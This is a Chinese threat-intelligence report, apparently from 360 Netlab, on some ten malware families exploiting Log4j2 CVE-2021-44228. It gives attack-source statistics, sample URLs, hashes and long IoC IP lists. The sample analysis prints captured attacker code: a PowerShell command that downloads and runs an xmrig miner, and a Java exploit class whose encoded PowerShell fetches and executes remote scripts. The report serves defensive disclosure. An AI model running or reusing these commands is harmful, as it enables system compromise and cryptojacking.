167.99.172.213
167.99.172.99
167.99.186.227
167.99.204.151
167.99.221.217
167.99.36.245
167.99.44.32
170.210.45.163
171.221.235.43
171.25.193.20
171.25.193.25
171.25.193.77
171.25.193.78
172.83.40.103
172.83.40.124
172.98.66.221
174.138.6.128
175.6.210.66
176.10.99.200
177.131.174.12
177.185.117.129
178.128.226.212
178.128.232.114
178.159.3.167
178.17.170.135
178.17.170.23
178.17.171.102
178.17.174.14
178.176.202.121
178.176.203.190
178.62.23.146
178.62.61.47
179.43.187.138
18.27.197.252
180.136.188.219
180.149.125.139
182.99.234.208
182.99.246.166
182.99.246.183
182.99.246.190
182.99.246.192
182.99.246.199
182.99.247.181
182.99.247.188
182.99.247.253
182.99.247.67
183.13.106.232
183.134.110.75
185.100.86.128
185.100.87.174
185.100.87.202
185.100.87.41
185.107.47.171
185.107.47.215
185.107.70.56
185.129.61.5
185.14.97.147
185.165.169.18
185.170.114.25
185.175.25.50
185.202.220.27
185.202.220.29
185.207.249.87
185.220.100.240
185.220.100.241
185.220.100.242
185.220.100.243
185.220.100.244
185.220.100.245
185.220.100.246
185.220.100.247
185.220.100.248
185.220.100.249
185.220.100.250
185.220.100.251
185.220.100.252
185.220.100.253
185.220.100.254
185.220.100.255
185.220.101.129
185.220.101.131
185.220.101.132
185.220.101.133
185.220.101.134
185.220.101.135
185.220.101.136
185.220.101.138
185.220.101.139
185.220.101.140
185.220.101.141
185.220.101.142
185.220.101.143
185.220.101.144
185.220.101.145
185.220.101.146
185.220.101.147
185.220.101.148
185.220.101.149
185.220.101.150
185.220.101.151
185.220.101.152
185.220.101.153
185.220.101.154
185.220.101.155
185.220.101.156
185.220.101.157
185.220.101.158
185.220.101.159
185.220.101.160
185.220.101.161
185.220.101.162
185.220.101.163
185.220.101.164
185.220.101.165
185.220.101.166
185.220.101.167
185.220.101.168
185.220.101.169
185.220.101.170
185.220.101.171
185.220.101.172
185.220.101.173
185.220.101.174
185.220.101.175
185.220.101.176
185.220.101.177
185.220.101.178
185.220.101.179
185.220.101.180
185.220.101.181
185.220.101.182
185.220.101.183
185.220.101.184
185.220.101.185
185.220.101.186
185.220.101.187
185.220.101.188
185.220.101.189
185.220.101.190
185.220.101.191
185.220.101.32
185.220.101.33
185.220.101.34
185.220.101.35
185.220.101.36
185.220.101.37
185.220.101.38
185.220.101.39
185.220.101.40
185.220.101.41
185.220.101.42
185.220.101.43
185.220.101.44
185.220.101.45
185.220.101.46
185.220.101.47
185.220.101.48
185.220.101.49
185.220.101.50
185.220.101.51
185.220.101.52
185.220.101.53
185.220.101.54
185.220.101.55
185.220.101.56
185.220.101.57
185.220.101.58
185.220.101.59
185.220.101.60
185.220.101.61
185.220.101.62
185.220.101.63
185.220.101.9
185.220.102.243
185.220.102.246
185.220.102.248
185.220.102.6
185.220.103.120
185.233.100.23
185.236.200.116
185.236.200.118
185.245.86.85
185.245.87.246
185.255.79.72
185.38.175.130
185.38.175.131
185.38.175.132
185.4.132.183
185.51.76.187
185.56.80.65
185.65.205.10
185.83.214.69
188.166.102.47
188.166.105.150
188.166.170.135
188.166.223.38
188.166.225.104
188.166.45.93
188.166.48.55
188.166.7.245
188.166.86.206
188.166.92.228
188.241.156.207
191.101.132.152
191.232.38.25
192.145.118.111
192.145.118.127
192.145.118.177
192.150.9.201
192.40.57.54
193.110.95.34
193.122.108.228
193.218.118.183
193.218.118.231
193.29.60.202
193.31.24.154
194.110.84.182
194.110.84.243
194.48.199.78
195.144.21.219
195.201.175.217
195.251.41.139
195.54.160.149
197.246.171.83
198.54.128.94
198.98.51.189
198.98.57.207
198.98.62.150
199.195.248.29
199.195.250.77
199.195.252.18
199.249.230.110
199.249.230.163
20.205.104.227
20.71.156.146
20.73.161.16
204.8.156.142
205.185.117.149
206.189.20.141
207.246.101.221
209.127.17.234
209.127.17.242
209.141.34.232
209.141.41.103
209.141.46.203
209.141.54.195
209.141.58.146
209.141.59.180
209.58.146.134
209.97.133.112
211.218.126.140
212.102.40.36
213.164.204.146
217.112.83.246
217.138.200.150
217.138.208.92
217.138.208.94
217.146.83.136
217.79.189.13
218.29.217.234
218.89.222.71
219.100.36.177
219.159.77.109
221.199.187.100
221.226.159.22
221.228.87.37
23.108.92.140
23.128.248.13
23.129.64.130
23.129.64.131
23.129.64.136
23.129.64.137
23.129.64.138
23.129.64.140
23.129.64.141
23.129.64.142
23.129.64.143
23.129.64.144
23.129.64.146
23.82.194.113
23.82.194.114
23.82.194.166
31.171.154.132
31.6.19.41
34.247.50.189
35.193.211.95
35.232.163.113
36.4.92.53
37.120.204.142
37.123.163.58
37.187.122.82
37.187.96.183
37.19.212.103
37.19.212.88
37.19.213.10
37.19.213.148
37.19.213.149
37.19.213.168
37.19.213.170
37.19.213.198
37.19.213.199
37.19.213.200
37.221.66.128
39.102.236.51
41.203.140.114
42.192.69.45
45.12.134.108
45.129.56.200
45.133.194.118
45.137.21.9
45.140.168.37
45.153.160.131
45.153.160.139
45.153.160.2
45.154.255.147
45.155.205.233
45.33.120.240
45.76.99.222
46.101.223.115
46.105.95.220
46.166.139.111
46.194.138.182
46.58.195.62
49.233.62.251
49.234.81.169
49.7.224.217
49.74.65.69
5.157.38.50
5.254.101.167
51.105.55.17
51.15.43.205
51.77.52.216
52.140.215.233
54.146.233.218
58.241.61.242
60.31.180.149
61.175.202.154
61.178.32.114
61.19.25.207
62.102.148.68
62.102.148.69
64.113.32.29
66.220.242.222
67.205.170.85
67.207.93.79
68.183.192.239
68.183.198.247
68.183.198.36
68.183.2.123
68.183.207.73
68.183.33.144
68.183.35.171
68.183.36.244
68.183.37.10
68.183.41.150
68.183.44.143
68.183.44.164
78.31.71.247
78.31.71.248
80.57.9.110
80.67.172.162
81.30.157.43
82.221.131.71
85.93.218.204
86.106.103.29
86.109.208.194
89.163.249.192
89.249.63.3
91.207.173.123
91.207.174.157
91.221.57.179
91.245.81.65
91.250.242.12
92.38.178.27
124.224.87.11
45.83.67.190
121.36.213.142
180.149.231.197
112.74.34.48
128.14.102.187
113.68.61.30
185.220.102.8
180.140.163.156
23.129.64.149
218.28.128.14
54.144.8.103
45.83.66.86
45.83.67.33
45.83.66.36
139.59.4.192
45.83.67.183
103.149.248.27
54.254.58.27
111.205.62.212
45.83.65.148
112.103.102.184
37.120.189.247
147.182.188.183
23.129.64.135
45.83.66.100
45.83.67.58
16.162.192.45
94.230.208.147
182.99.246.138
165.227.37.189
185.220.102.247
223.104.67.7
51.15.244.188
122.161.50.23
111.127.128.136
185.213.155.168
118.112.74.135
185.135.81.158
199.249.230.84
23.129.64.145
13.213.127.204
103.112.31.26
45.83.66.228
45.83.65.93
174.138.9.117
194.87.236.154
167.99.221.249
5.254.43.59
194.110.84.93
51.15.76.60
167.71.14.192
104.244.72.129
211.154.194.21
212.102.50.103
167.99.164.183
45.76.176.24
157.122.61.12
45.83.65.61
211.138.191.69
188.166.26.105
107.189.11.228
172.106.16.74
117.89.128.117
109.70.100.25
101.71.37.47
91.243.81.71
217.68.181.100
195.19.192.26
112.10.117.77
45.83.67.0
5.254.101.169
45.83.64.153
58.247.209.203
45.83.64.235
185.113.128.30
128.199.24.9
137.184.111.180
106.92.114.249
212.193.57.225
112.74.185.158
101.35.199.152
147.182.213.12
45.83.67.64
185.220.101.130
185.4.132.135
114.24.19.243
8.209.212.37
167.99.164.201
23.129.64.134
49.36.231.105
221.222.155.240
113.17.41.134
47.102.199.233
222.128.62.127
38.143.9.76
164.90.159.39
109.237.96.124
121.31.247.58
45.83.64.43
45.83.66.183
122.225.220.134
134.209.153.239
45.83.64.148
172.105.59.246
206.189.29.232
116.206.103.246
116.206.231.53
103.47.48.65
165.232.84.228
172.105.194.173
185.10.68.168
167.99.172.58
58.100.164.147
167.99.188.167
143.198.32.72
52.175.18.172
45.64.75.134
121.229.219.55
18.177.59.255
178.62.222.131
167.71.67.189
45.83.66.65
113.207.68.47
23.234.200.135
134.122.34.28
167.99.216.68
137.184.98.160
45.83.67.22
222.211.205.179
185.193.125.249
45.83.67.77
103.130.166.234
81.17.18.59
104.244.76.44
213.173.34.93
110.191.179.149
23.129.64.133
45.83.64.108
157.245.111.173
45.83.66.130
45.83.65.141
45.83.64.129
62.76.41.46
120.24.23.84
45.83.66.29
107.189.31.195
45.61.184.239
188.166.122.43
165.22.222.120
223.89.64.12
107.189.14.27
45.83.65.82
83.97.20.151
42.159.91.12
118.112.74.218
209.141.45.189
64.188.16.142
172.105.57.210
37.19.213.150
176.10.104.240
185.220.103.116
205.185.125.45
138.68.167.19
101.71.38.231
114.246.35.153
103.194.184.98
45.83.66.134
45.83.66.175
101.89.19.197
152.70.110.78
138.197.72.76
114.254.20.186
203.175.13.14
139.59.97.205
195.123.247.209
117.139.38.130
103.13.220.57
122.161.48.150
45.153.160.133
185.14.47.20
192.144.236.164
45.153.160.140
159.65.43.94
95.141.35.15
116.246.0.93
137.184.109.130
23.154.177.6
45.83.67.234
103.145.22.103
183.160.4.88
77.199.38.33
185.220.101.137
121.24.8.114
115.151.228.18
49.93.83.226
45.83.67.48
66.112.213.87
45.76.191.147
23.129.64.132
138.197.193.220
84.53.225.118
15.165.232.131
185.220.101.128
125.33.172.90
45.83.67.134
101.206.168.120
120.239.67.147
157.245.102.218
45.83.67.75
49.118.75.38
172.105.97.149
117.36.0.131
45.83.67.180
211.148.73.182
36.227.164.189
45.83.65.40
45.83.64.45
167.172.69.175
116.89.189.30
185.220.101.13
23.105.194.3
155.94.151.218
182.99.247.122
54.199.27.97
45.83.65.151
182.118.237.42
36.155.14.163
216.24.191.27
143.110.229.254
203.218.252.81
180.102.206.209
103.149.162.116
101.93.86.68
18.204.199.0
194.195.112.76
47.102.205.237
94.230.208.148
115.60.103.185
45.83.65.76
45.83.64.223
45.83.64.164
198.98.59.65
192.42.116.16
89.238.178.213
185.243.41.202
45.83.65.94
167.99.219.41
13.231.10.223
45.83.67.38
167.99.88.151
199.249.230.119
172.105.194.253
139.59.182.104
123.122.133.12
119.160.234.68
1.209.47.241
115.151.228.146
182.118.237.234
120.228.88.232
178.62.32.211
45.83.67.203
171.218.53.30
185.232.23.46
198.98.60.19
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2021年12月11号8点整，我们率先捕获到Muhstik僵尸网络样本通过Log4j2 RCE漏洞传播，并首发披露Mirai和Muhstik僵尸网络在野利用详情[1]。
2天来，我们陆续又捕获到其它家族的样本，目前，这个家族列表已经超过10个，这里从漏洞、payload、攻击IP 和样本分析等几个维度介绍我们的捕获情况。
Apache Log4j2 漏洞攻击分布
360网络安全研究院大网蜜罐系统监测到Apache Log4j2 RCE漏洞（CVE-2021-44228）扫描及攻击，源IP地址地理位置分布如下：
国家/地区
攻击源IP数量
Germany
271
The Netherlands
143
China
134
United States
123
United Kingdom
29
Canada
27
Singapore
23
India
22
Japan
15
Russia
12
通过对扫描端口分析发现，扫描目的端口主要是8081端口（Apache Flink）占比31.61%，其次是8983端口（Apache Solr）占比28.1%，如下图：
攻击IP溯源分析
我们目前已经捕获超过1050个攻击源IP，主要来自于ALPHASTRIKE-RESEARCH，ASMK和DIGITALOCEAN-ASN，占比50%以上，扫描整体趋势如下：
扫描源IP来自全球各个国家，其中德国占比最大，如下图:
攻击源IP主要为国外大网测绘厂商IP，以及大量Tor代理出口节点IP
攻击源IP来源云厂商分布
样本和Botnet家族分析
目前，我们共捕获到10个家族的恶意样本，这里按照入口样本的维度逐一介绍。
1， Muhstik, DDoS+backdoor
参考我们的上一篇威胁快讯。
2， Mirai
参考我们的上一篇威胁快讯。
3， DDoS家族Elknot
Elknot又名BillGates，最早针对Linux系统，后来被移植到Windows平台。
这2种平台的Elknot我们都有捕获，它们共享同样的C2，显然来自同一团伙。
elknot.ELF的样本信息如下：
URL=http://155.94.154.170/aaa
MD5=ded558217c327d8f5c3f8b36118380ab
URL=http://155.94.154.170/log4j
MD5=ded558217c327d8f5c3f8b36118380ab
elknot.PE的样本信息如下：
URL=http://154.82.110.5:1234/win.exe
MD5=36796319567f5a05571006b874903e87
C2均为 300gsyn.it:25009。
4， 挖矿家族m8220
这次传播的是m8220变种，入口样本信息如下：
url= http://205.185.113.59:1234/xmss
MD5=75bc0d4022b20fae1f5610109691184e
进一步提取的恶意URL信息如下：
http://agent.apacheorg.top:1234/xmss
http://205.185.113.59:1234/.rsyslogds
http://205.185.113.59:1234/.inis
http://205.185.113.59:1234/xms
5， SitesLoader
这是近期比较活跃的一个Linux家族，这次也搭上了Log4j这个顺风车。入口样本信息：：
URL=http://185.250.148.157:8005/acc
MD5=933568969efe6b3f8c0621200f0eea5a
最终会下载一个stage 2的ELF文件 payload：
URL=http://185.250.148.157:8005/index
MD5=720a3a92e72054dc8d58e229c22bb892
C2="https://sites.google.com/view/maintest01"
6， xmrig.pe
它实际和前述的muhstik共享了同一个exploit，所以应该属于同一团伙，入口exploit对应一个java类：
URL=http://31.220.58.29/Exploit.class
MD5=f6e51ea341570c6e9e4c97aee082822b
它能同时攻击Linux和Windows机器，针对Linux的部分就是我们前述的muhstik变种，入口样本信息如下：
URL=http://18.228.7.109/.log/log
MD5=1e051111c4cf327775dc3bab4df4bf85
针对Windows平台的入口样本信息如下：
URL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd
MD5=bf6935865f63c32c0530a61da9b85d53
它指向一个Powershell脚本，核心内容是下载一个xmrig程序并运行：
powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log
能看到矿池和钱包地址都硬编码在命令行里了。
7， xmrig.ELF
运行后会下载1个bash脚本和1个xmrig.tar.gz，前者负责解压后者并启动xmrig。样本信息如下：
fseen=2021-12-11 23:45:56
URL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz
MD5=64808f03e967d15a7907c41fa0d34e89
fseen=2021-12-11 23:39:18
URL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
MD5=2f5769c38b6e5f4c59b7d831ed612395
8， 攻击工具1
URL=http://47.243.78.246/12
MD5=5ac6ded41f9a61cd9d026e91af47b695
VT扫描信息：a variant of Linux/Riskware.Meterpreter.C ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
9， 攻击工具2
URL=http://170.178.196.41:1111/pglQLHfm
MD5=29851d65fe14699a793bf401cb84c019
VT扫描信息：a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:35244/qIoPIauO
MD5=eb71a394bcf3e8f83198d51f3f6d7422
VT扫描信息: a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:8080/UKTPAnRvns
MD5=84c2ccc2f2a4d4fe71249bad63252f32
VT扫描信息: Linux/Shellcode.CZ ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size
10， 未知PE家族
入口样本基本信息如下：
URL=http://141.98.83.139:9883/exp.class
md5=5b30284b34dcc1912326812c7d2ea723
它是一个java类，内容如下：
public class exp
{
public exp()
{
}
static
{
try
{
String as[] = {
"cmd", "/c", "powershell", "-exec", "bypass", "-w", "hidden", "-e", "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA"
};
Runtime.getRuntime().exec(as).waitFor();
}
catch(Exception exception)
{
exception.printStackTrace();
}
}
}
能看到它会调用powershell解码一个base64串，实际上这个串要经过3次解码才能得到最终的payload，对应一段powershell脚本：
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));
里面包含了如下2个URL：
http://141.98.83.139:18080/nG60k1/RWjxFwxCBE
http://141.98.83.139:18080/nG60k1
可惜这两个URL均下载失败，所以这里不能提供家族信息。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
部分攻击源IP:
1.116.59.211
1.179.247.182
101.204.24.28
103.103.0.141
103.103.0.142
103.107.198.109
103.232.136.12
103.244.80.194
103.90.239.209
104.244.72.115
104.244.72.136
104.244.73.126
104.244.74.121
104.244.74.57
104.244.76.13
104.244.76.170
104.244.79.234
104.244.79.6
104.248.144.120
107.172.214.23
107.189.1.160
107.189.1.178
107.189.7.88
109.201.133.100
109.70.100.19
109.70.100.34
109.73.65.32
110.42.200.96
111.28.189.51
111.59.85.209
112.215.172.64
112.27.199.180
112.74.52.90
113.141.64.14
113.98.224.68
114.112.161.155
114.32.82.82
115.151.228.235
115.151.228.4
115.151.228.83
118.27.36.56
119.84.170.84
120.195.30.152
120.211.140.116
121.4.56.143
122.117.91.144
122.161.53.44
124.224.87.29
128.199.15.215
128.199.222.221
128.199.48.147
128.31.0.13
131.100.148.7
133.18.201.195
134.122.33.6
134.209.24.42
134.209.82.14
137.184.102.82
137.184.104.73
137.184.105.192
137.184.137.242
137.184.138.79
137.184.28.58
137.184.96.216
137.184.98.176
137.184.99.8
138.197.106.234
138.197.108.154
138.197.167.229
138.197.216.230
138.197.9.239
138.199.21.199
138.68.155.222
139.28.218.134
139.59.101.242
139.59.103.254
139.59.108.31
139.59.163.74
139.59.188.119
139.59.224.7
139.59.8.39
139.59.96.42
139.59.99.80
14.177.141.126
140.246.171.141
141.98.83.139
142.93.151.166
142.93.157.150
142.93.34.250
143.110.221.204
143.110.221.219
143.198.180.150
143.198.183.66
143.198.45.117
143.244.184.81
144.217.86.109
144.48.37.78
145.220.24.19
146.56.131.161
146.56.148.181
146.70.38.48
147.182.131.229
147.182.154.100
147.182.167.165
147.182.179.141
147.182.187.229
147.182.195.250
147.182.215.36
147.182.216.21
147.182.219.9
147.182.242.144
147.182.242.241
150.158.189.96
151.80.148.159
154.65.28.250
154.94.7.88
156.146.57.41
157.230.32.67
157.245.105.213
157.245.107.6
157.245.108.125
157.245.108.40
157.245.109.75
157.245.129.50
157.245.96.165
159.203.187.141
159.203.45.181
159.203.58.73
159.223.42.182
159.223.61.102
159.223.75.133
159.223.9.17
159.48.55.216
159.65.146.60
159.65.155.208
159.65.58.66
159.65.59.77
159.65.60.100
159.89.115.238
159.89.122.19
159.89.133.216
159.89.150.150
159.89.154.102
159.89.154.185
159.89.154.64
159.89.48.173
159.89.85.91
159.89.94.219
160.238.38.196
161.35.119.60
161.35.155.230
161.35.156.13
162.247.74.202
162.247.74.206
162.253.71.51
162.255.202.246
164.52.53.163
164.90.196.7
164.90.199.206
164.90.199.212
164.90.199.216
164.90.200.6
164.92.254.33
165.22.210.174
165.22.213.246
165.227.32.109
165.232.80.166
166.70.207.2
167.172.65.15
167.172.69.97
167.172.71.96
167.172.85.73
167.172.94.250
167.71.1.144
167.71.13.196
167.71.218.228
167.71.4.81
167.86.70.252
167.99.164.160
167.99.172.111
167.99.172.213
167.99.172.99
167.99.186.227
167.99.204.151
167.99.221.217
167.99.36.245
167.99.44.32
170.210.45.163
171.221.235.43
171.25.193.20
171.25.193.25
171.25.193.77
171.25.193.78
172.83.40.103
172.83.40.124
172.98.66.221
174.138.6.128
175.6.210.66
176.10.99.200
177.131.174.12
177.185.117.129
178.128.226.212
178.128.232.114
178.159.3.167
178.17.170.135
178.17.170.23
178.17.171.102
178.17.174.14
178.176.202.121
178.176.203.190
178.62.23.146
178.62.61.47
179.43.187.138
18.27.197.252
180.136.188.219
180.149.125.139
182.99.234.208
182.99.246.166
182.99.246.183
182.99.246.190
182.99.246.192
182.99.246.199
182.99.247.181
182.99.247.188
182.99.247.253
182.99.247.67
183.13.106.232
183.134.110.75
185.100.86.128
185.100.87.174
185.100.87.202
185.100.87.41
185.107.47.171
185.107.47.215
185.107.70.56
185.129.61.5
185.14.97.147
185.165.169.18
185.170.114.25
185.175.25.50
185.202.220.27
185.202.220.29
185.207.249.87
185.220.100.240
185.220.100.241
185.220.100.242
185.220.100.243
185.220.100.244
185.220.100.245
185.220.100.246
185.220.100.247
185.220.100.248
185.220.100.249
185.220.100.250
185.220.100.251
185.220.100.252
185.220.100.253
185.220.100.254
185.220.100.255
185.220.101.129
185.220.101.131
185.220.101.132
185.220.101.133
185.220.101.134
185.220.101.135
185.220.101.136
185.220.101.138
185.220.101.139
185.220.101.140
185.220.101.141
185.220.101.142
185.220.101.143
185.220.101.144
185.220.101.145
185.220.101.146
185.220.101.147
185.220.101.148
185.220.101.149
185.220.101.150
185.220.101.151
185.220.101.152
185.220.101.153
185.220.101.154
185.220.101.155
185.220.101.156
185.220.101.157
185.220.101.158
185.220.101.159
185.220.101.160
185.220.101.161
185.220.101.162
185.220.101.163
185.220.101.164
185.220.101.165
185.220.101.166
185.220.101.167
185.220.101.168
185.220.101.169
185.220.101.170
185.220.101.171
185.220.101.172
185.220.101.173
185.220.101.174
185.220.101.175
185.220.101.176
185.220.101.177
185.220.101.178
185.220.101.179
185.220.101.180
185.220.101.181
185.220.101.182
185.220.101.183
185.220.101.184
185.220.101.185
185.220.101.186
185.220.101.187
185.220.101.188
185.220.101.189
185.220.101.190
185.220.101.191
185.220.101.32
185.220.101.33
185.220.101.34
185.220.101.35
185.220.101.36
185.220.101.37
185.220.101.38
185.220.101.39
185.220.101.40
185.220.101.41
185.220.101.42
185.220.101.43
185.220.101.44
185.220.101.45
185.220.101.46
185.220.101.47
185.220.101.48
185.220.101.49
185.220.101.50
185.220.101.51
185.220.101.52
185.220.101.53
185.220.101.54
185.220.101.55
185.220.101.56
185.220.101.57
185.220.101.58
185.220.101.59
185.220.101.60
185.220.101.61
185.220.101.62
185.220.101.63
185.220.101.9
185.220.102.243
185.220.102.246
185.220.102.248
185.220.102.6
185.220.103.120
185.233.100.23
185.236.200.116
185.236.200.118
185.245.86.85
185.245.87.246
185.255.79.72
185.38.175.130
185.38.175.131
185.38.175.132
185.4.132.183
185.51.76.187
185.56.80.65
185.65.205.10
185.83.214.69
188.166.102.47
188.166.105.150
188.166.170.135
188.166.223.38
188.166.225.104
188.166.45.93
188.166.48.55
188.166.7.245
188.166.86.206
188.166.92.228
188.241.156.207
191.101.132.152
191.232.38.25
192.145.118.111
192.145.118.127
192.145.118.177
192.150.9.201
192.40.57.54
193.110.95.34
193.122.108.228
193.218.118.183
193.218.118.231
193.29.60.202
193.31.24.154
194.110.84.182
194.110.84.243
194.48.199.78
195.144.21.219
195.201.175.217
195.251.41.139
195.54.160.149
197.246.171.83
198.54.128.94
198.98.51.189
198.98.57.207
198.98.62.150
199.195.248.29
199.195.250.77
199.195.252.18
199.249.230.110
199.249.230.163
20.205.104.227
20.71.156.146
20.73.161.16
204.8.156.142
205.185.117.149
206.189.20.141
207.246.101.221
209.127.17.234
209.127.17.242
209.141.34.232
209.141.41.103
209.141.46.203
209.141.54.195
209.141.58.146
209.141.59.180
209.58.146.134
209.97.133.112
211.218.126.140
212.102.40.36
213.164.204.146
217.112.83.246
217.138.200.150
217.138.208.92
217.138.208.94
217.146.83.136
217.79.189.13
218.29.217.234
218.89.222.71
219.100.36.177
219.159.77.109
221.199.187.100
221.226.159.22
221.228.87.37
23.108.92.140
23.128.248.13
23.129.64.130
23.129.64.131
23.129.64.136
23.129.64.137
23.129.64.138
23.129.64.140
23.129.64.141
23.129.64.142
23.129.64.143
23.129.64.144
23.129.64.146
23.82.194.113
23.82.194.114
23.82.194.166
31.171.154.132
31.6.19.41
34.247.50.189
35.193.211.95
35.232.163.113
36.4.92.53
37.120.204.142
37.123.163.58
37.187.122.82
37.187.96.183
37.19.212.103
37.19.212.88
37.19.213.10
37.19.213.148
37.19.213.149
37.19.213.168
37.19.213.170
37.19.213.198
37.19.213.199
37.19.213.200
37.221.66.128
39.102.236.51
41.203.140.114
42.192.69.45
45.12.134.108
45.129.56.200
45.133.194.118
45.137.21.9
45.140.168.37
45.153.160.131
45.153.160.139
45.153.160.2
45.154.255.147
45.155.205.233
45.33.120.240
45.76.99.222
46.101.223.115
46.105.95.220
46.166.139.111
46.194.138.182
46.58.195.62
49.233.62.251
49.234.81.169
49.7.224.217
49.74.65.69
5.157.38.50
5.254.101.167
51.105.55.17
51.15.43.205
51.77.52.216
52.140.215.233
54.146.233.218
58.241.61.242
60.31.180.149
61.175.202.154
61.178.32.114
61.19.25.207
62.102.148.68
62.102.148.69
64.113.32.29
66.220.242.222
67.205.170.85
67.207.93.79
68.183.192.239
68.183.198.247
68.183.198.36
68.183.2.123
68.183.207.73
68.183.33.144
68.183.35.171
68.183.36.244
68.183.37.10
68.183.41.150
68.183.44.143
68.183.44.164
78.31.71.247
78.31.71.248
80.57.9.110
80.67.172.162
81.30.157.43
82.221.131.71
85.93.218.204
86.106.103.29
86.109.208.194
89.163.249.192
89.249.63.3
91.207.173.123
91.207.174.157
91.221.57.179
91.245.81.65
91.250.242.12
92.38.178.27
124.224.87.11
45.83.67.190
121.36.213.142
180.149.231.197
112.74.34.48
128.14.102.187
113.68.61.30
185.220.102.8
180.140.163.156
23.129.64.149
218.28.128.14
54.144.8.103
45.83.66.86
45.83.67.33
45.83.66.36
139.59.4.192
45.83.67.183
103.149.248.27
54.254.58.27
111.205.62.212
45.83.65.148
112.103.102.184
37.120.189.247
147.182.188.183
23.129.64.135
45.83.66.100
45.83.67.58
16.162.192.45
94.230.208.147
182.99.246.138
165.227.37.189
185.220.102.247
223.104.67.7
51.15.244.188
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111.127.128.136
185.213.155.168
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199.249.230.84
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103.112.31.26
45.83.66.228
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174.138.9.117
194.87.236.154
167.99.221.249
5.254.43.59
194.110.84.93
51.15.76.60
167.71.14.192
104.244.72.129
211.154.194.21
212.102.50.103
167.99.164.183
45.76.176.24
157.122.61.12
45.83.65.61
211.138.191.69
188.166.26.105
107.189.11.228
172.106.16.74
117.89.128.117
109.70.100.25
101.71.37.47
91.243.81.71
217.68.181.100
195.19.192.26
112.10.117.77
45.83.67.0
5.254.101.169
45.83.64.153
58.247.209.203
45.83.64.235
185.113.128.30
128.199.24.9
137.184.111.180
106.92.114.249
212.193.57.225
112.74.185.158
101.35.199.152
147.182.213.12
45.83.67.64
185.220.101.130
185.4.132.135
114.24.19.243
8.209.212.37
167.99.164.201
23.129.64.134
49.36.231.105
221.222.155.240
113.17.41.134
47.102.199.233
222.128.62.127
38.143.9.76
164.90.159.39
109.237.96.124
121.31.247.58
45.83.64.43
45.83.66.183
122.225.220.134
134.209.153.239
45.83.64.148
172.105.59.246
206.189.29.232
116.206.103.246
116.206.231.53
103.47.48.65
165.232.84.228
172.105.194.173
185.10.68.168
167.99.172.58
58.100.164.147
167.99.188.167
143.198.32.72
52.175.18.172
45.64.75.134
121.229.219.55
18.177.59.255
178.62.222.131
167.71.67.189
45.83.66.65
113.207.68.47
23.234.200.135
134.122.34.28
167.99.216.68
137.184.98.160
45.83.67.22
222.211.205.179
185.193.125.249
45.83.67.77
103.130.166.234
81.17.18.59
104.244.76.44
